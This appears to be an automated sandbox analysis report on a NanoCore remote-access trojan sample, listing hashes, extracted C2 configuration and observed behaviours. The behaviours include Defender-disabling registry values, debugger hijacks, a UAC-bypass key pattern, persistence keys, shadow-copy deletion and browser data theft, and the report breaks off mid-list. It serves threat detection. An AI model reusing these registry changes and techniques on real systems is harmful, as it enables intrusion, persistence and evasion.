Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
29/06/2026, 04:37
Behavioral task
behavioral1
Sample
veggi.io_chrome.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
45 signatures
150 seconds
Behavioral task
behavioral2
Sample
veggi.io_chrome.exe
Resource
win11ltsc2024-20260618-en
windows11-ltsc_2024-x64
43 signatures
150 seconds
General
- Target veggi.io_chrome.exe
- Size 48KB
- Sample260629-e8s79sds3y
- SHA256 fca6145e1c6b6c0cbb577df1005a931978b2c49b9d37b581c137b9a2a8050939
- MD5 716965998ac87b5519cd4a085b631d19
- SHA1 ab37b1cd493ca79b550076fe8cffbf3c49bf0836
- SHA512 c9271280d58fac32c895d63acd0d6b7277af623d5237d240b51303c8354bbd9ca25723c90b31a97bcedcf0223bbb1c9f5972bb603f447b1f649150ca077a0364
- SSDEEP 768:ShACrXoD+Lmj2OFaHJqn41//o4TC1XXGblfA0hKFcO:SjEDYlj1I4TEXGblf9hucO
- TLSH T1D223F80477F98512F2FF4ABA4DB19601AB31F8979C22D78D06D5058E1AB3B40CDA8B77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
nanocore
Version
-
1.2.2.0
C2
-
https://veggi.io/
Mutex
-
ac7e2f05-8df7-4c55-8841-78385f6bb064
Attributes
-
c2_url
https://veggi.io/
-
default_group
xoilac
-
primary_dns
ali.ns.cloudflare.com
-
secondary_dns
woz.ns.cloudflare.com
-
version
1.2.2.0
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/3916-0-0x00000000007C0000-0x00000000007D2000-memory.dmp disable_win_def behavioral1/files/0x0007000000024979-2363.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" veggi.io_chrome.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" veggi.io_chrome.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1992 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" veggi.io_chrome.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts veggi.io_chrome.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe veggi.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\veggi.io_chrome.exe" veggi.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe veggi.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\veggi.io_chrome.exe" veggi.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe veggi.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\veggi.io_chrome.exe" veggi.io_chrome.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 5380 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation veggi.io_chrome.exe - Disables service(s) 3 TTPs
- Drops startup file 64 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_98.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_9.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_198.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_126.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_188.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_45.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_136.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_14.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_74.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_128.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_37.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_61.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_172.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf veggi.io_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf veggi.io_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf veggi.io_chrome.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\veggi.io_chrome.exe" veggi.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\veggi.io_chrome.exe" veggi.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\veggi.io_chrome.exe" veggi.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\veggi.io_chrome.exe" veggi.io_chrome.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\sysupdate.exe veggi.io_chrome.exe File opened for modification C:\Windows\system32\sysupdate.exe veggi.io_chrome.exe File created C:\Windows\system32\svchost.exe veggi.io_chrome.exe - Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 5588 tasklist.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" veggi.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" veggi.io_chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 4732 sc.exe 3428 sc.exe 1192 sc.exe 5164 sc.exe 4636 sc.exe 3484 sc.exe 1916 sc.exe 1172 sc.exe 3236 sc.exe 4584 sc.exe 1212 sc.exe 4240 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
pid Process 3976 chrome.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier chrome.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName chrome.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer chrome.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 5572 ipconfig.exe 5236 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 5256 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 5012 vssadmin.exe 3792 vssadmin.exe 5556 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\Desktop\WallpaperStyle = "2" veggi.io_chrome.exe - Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry chrome.exe Set value (int) \REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134271814379237230" chrome.exe - Modifies registry class 17 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell\open\command veggi.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell veggi.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\veggi.io_chrome.exe" veggi.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell veggi.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell\open\command\DelegateExecute veggi.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command veggi.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open veggi.io_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\veggi.io_chrome.exe\" \"%1\"" veggi.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell\open veggi.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell\open veggi.io_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\.pdf\ = "PDFBotnet" veggi.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell\open\command veggi.io_chrome.exe Key created \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings veggi.io_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet veggi.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell veggi.io_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings veggi.io_chrome.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5500 schtasks.exe 3820 schtasks.exe 2612 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 752 chrome.exe 752 chrome.exe 1992 powershell.exe 1992 powershell.exe 1992 powershell.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe 3916 veggi.io_chrome.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3916 veggi.io_chrome.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
pid Process 752 chrome.exe 752 chrome.exe 752 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1992 powershell.exe Token: SeShutdownPrivilege 752 chrome.exe Token: SeCreatePagefilePrivilege 752 chrome.exe Token: SeIncreaseQuotaPrivilege 3300 WMIC.exe Token: SeSecurityPrivilege 3300 WMIC.exe Token: SeTakeOwnershipPrivilege 3300 WMIC.exe Token: SeLoadDriverPrivilege 3300 WMIC.exe Token: SeSystemProfilePrivilege 3300 WMIC.exe Token: SeSystemtimePrivilege 3300 WMIC.exe Token: SeProfSingleProcessPrivilege 3300 WMIC.exe Token: SeIncBasePriorityPrivilege 3300 WMIC.exe Token: SeCreatePagefilePrivilege 3300 WMIC.exe Token: SeBackupPrivilege 3300 WMIC.exe Token: SeRestorePrivilege 3300 WMIC.exe Token: SeShutdownPrivilege 3300 WMIC.exe Token: SeDebugPrivilege 3300 WMIC.exe Token: SeSystemEnvironmentPrivilege 3300 WMIC.exe Token: SeRemoteShutdownPrivilege 3300 WMIC.exe Token: SeUndockPrivilege 3300 WMIC.exe Token: SeManageVolumePrivilege 3300 WMIC.exe Token: 33 3300 WMIC.exe Token: 34 3300 WMIC.exe Token: 35 3300 WMIC.exe Token: 36 3300 WMIC.exe Token: SeShutdownPrivilege 752 chrome.exe Token: SeCreatePagefilePrivilege 752 chrome.exe Token: SeBackupPrivilege 5784 vssvc.exe Token: SeRestorePrivilege 5784 vssvc.exe Token: SeAuditPrivilege 5784 vssvc.exe Token: SeIncreaseQuotaPrivilege 3300 WMIC.exe Token: SeSecurityPrivilege 3300 WMIC.exe Token: SeTakeOwnershipPrivilege 3300 WMIC.exe Token: SeLoadDriverPrivilege 3300 WMIC.exe Token: SeSystemProfilePrivilege 3300 WMIC.exe Token: SeSystemtimePrivilege 3300 WMIC.exe Token: SeProfSingleProcessPrivilege 3300 WMIC.exe Token: SeIncBasePriorityPrivilege 3300 WMIC.exe Token: SeCreatePagefilePrivilege 3300 WMIC.exe Token: SeBackupPrivilege 3300 WMIC.exe Token: SeRestorePrivilege 3300 WMIC.exe Token: SeShutdownPrivilege 3300 WMIC.exe Token: SeDebugPrivilege 3300 WMIC.exe Token: SeSystemEnvironmentPrivilege 3300 WMIC.exe Token: SeRemoteShutdownPrivilege 3300 WMIC.exe Token: SeUndockPrivilege 3300 WMIC.exe Token: SeManageVolumePrivilege 3300 WMIC.exe Token: 33 3300 WMIC.exe Token: 34 3300 WMIC.exe Token: 35 3300 WMIC.exe Token: 36 3300 WMIC.exe Token: SeShutdownPrivilege 752 chrome.exe Token: SeCreatePagefilePrivilege 752 chrome.exe Token: SeDebugPrivilege 3916 veggi.io_chrome.exe Token: SeShutdownPrivilege 752 chrome.exe Token: SeCreatePagefilePrivilege 752 chrome.exe Token: SeShutdownPrivilege 752 chrome.exe Token: SeCreatePagefilePrivilege 752 chrome.exe Token: SeIncBasePriorityPrivilege 3916 veggi.io_chrome.exe Token: SeDebugPrivilege 3956 whoami.exe Token: SeDebugPrivilege 5588 tasklist.exe Token: SeDebugPrivilege 5236 NETSTAT.EXE Token: SeIncreaseQuotaPrivilege 5568 WMIC.exe Token: SeSecurityPrivilege 5568 WMIC.exe Token: SeTakeOwnershipPrivilege 5568 WMIC.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe - Suspicious use of SendNotifyMessage 32 IoCs
pid Process 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe 752 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3916 veggi.io_chrome.exe - Suspicious use of WriteProcessMemory 62 IoCs
description pid Process procid_target PID 3916 wrote to memory of 752 3916 veggi.io_chrome.exe 87 PID 752 wrote to memory of 2384 752 chrome.exe 88 PID 3916 wrote to memory of 1992 3916 veggi.io_chrome.exe 89 PID 3916 wrote to memory of 3484 3916 veggi.io_chrome.exe 90 PID 3916 wrote to memory of 1916 3916 veggi.io_chrome.exe 93 PID 3916 wrote to memory of 1172 3916 veggi.io_chrome.exe 95 PID 3916 wrote to memory of 3428 3916 veggi.io_chrome.exe 97 PID 3916 wrote to memory of 3236 3916 veggi.io_chrome.exe 99 PID 3916 wrote to memory of 4584 3916 veggi.io_chrome.exe 101 PID 3916 wrote to memory of 1212 3916 veggi.io_chrome.exe 103 PID 3916 wrote to memory of 4240 3916 veggi.io_chrome.exe 105 PID 752 wrote to memory of 4384 752 chrome.exe 107 PID 752 wrote to memory of 4384 752 chrome.exe 107 PID 752 wrote to memory of 3976 752 chrome.exe 108 PID 752 wrote to memory of 3604 752 chrome.exe 109 PID 752 wrote to memory of 3604 752 chrome.exe 109 PID 3916 wrote to memory of 3704 3916 veggi.io_chrome.exe 110 PID 3916 wrote to memory of 1192 3916 veggi.io_chrome.exe 111 PID 3916 wrote to memory of 4732 3916 veggi.io_chrome.exe 114 PID 752 wrote to memory of 4252 752 chrome.exe 115 PID 752 wrote to memory of 4252 752 chrome.exe 115 PID 752 wrote to memory of 1648 752 chrome.exe 116 PID 752 wrote to memory of 1648 752 chrome.exe 116 PID 3916 wrote to memory of 5012 3916 veggi.io_chrome.exe 118 PID 752 wrote to memory of 2020 752 chrome.exe 119 PID 752 wrote to memory of 2020 752 chrome.exe 119 PID 3916 wrote to memory of 3300 3916 veggi.io_chrome.exe 121 PID 3704 wrote to memory of 5380 3704 fodhelper.exe 169 PID 3916 wrote to memory of 2568 3916 veggi.io_chrome.exe 128 PID 3916 wrote to memory of 2612 3916 veggi.io_chrome.exe 129 PID 3916 wrote to memory of 5500 3916 veggi.io_chrome.exe 131 PID 3916 wrote to memory of 2660 3916 veggi.io_chrome.exe 136 PID 3916 wrote to memory of 1132 3916 veggi.io_chrome.exe 138 PID 3916 wrote to memory of 1040 3916 veggi.io_chrome.exe 139 PID 3916 wrote to memory of 2168 3916 veggi.io_chrome.exe 140 PID 3916 wrote to memory of 116 3916 veggi.io_chrome.exe 141 PID 3916 wrote to memory of 688 3916 veggi.io_chrome.exe 142 PID 3916 wrote to memory of 856 3916 veggi.io_chrome.exe 143 PID 3916 wrote to memory of 3820 3916 